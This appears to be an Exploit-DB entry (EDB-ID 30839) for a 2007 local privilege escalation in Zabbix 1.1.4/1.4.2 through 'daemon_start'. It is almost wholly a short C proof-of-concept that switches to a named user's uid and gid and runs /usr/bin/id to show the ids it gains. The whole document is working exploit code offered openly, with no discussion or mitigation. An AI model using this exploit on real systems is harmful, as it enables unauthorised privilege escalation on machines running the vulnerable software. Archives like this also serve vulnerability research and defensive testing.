Zabbix 1.1.4/1.4.2 - 'daemon_start' Local Privilege Escalation

EDB-ID:

30839




Platform:

Linux

Date:

2007-12-03


#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>

int main() 
{
     struct passwd *pw;
     pw = getpwnam("abi");
     FILE *pipe;
     char buf[25];
     setgid(pw->pw_gid);
     setuid(pw->pw_uid);

     printf("my gid: %d\n", getegid());
     printf("my uid: %d\n", getuid());

     pipe = popen("/usr/bin/id", "r");
     while (fgets(buf, sizeof buf, pipe)) {
             printf("%s", buf);
     }
     printf("\n");
     pclose(pipe);
}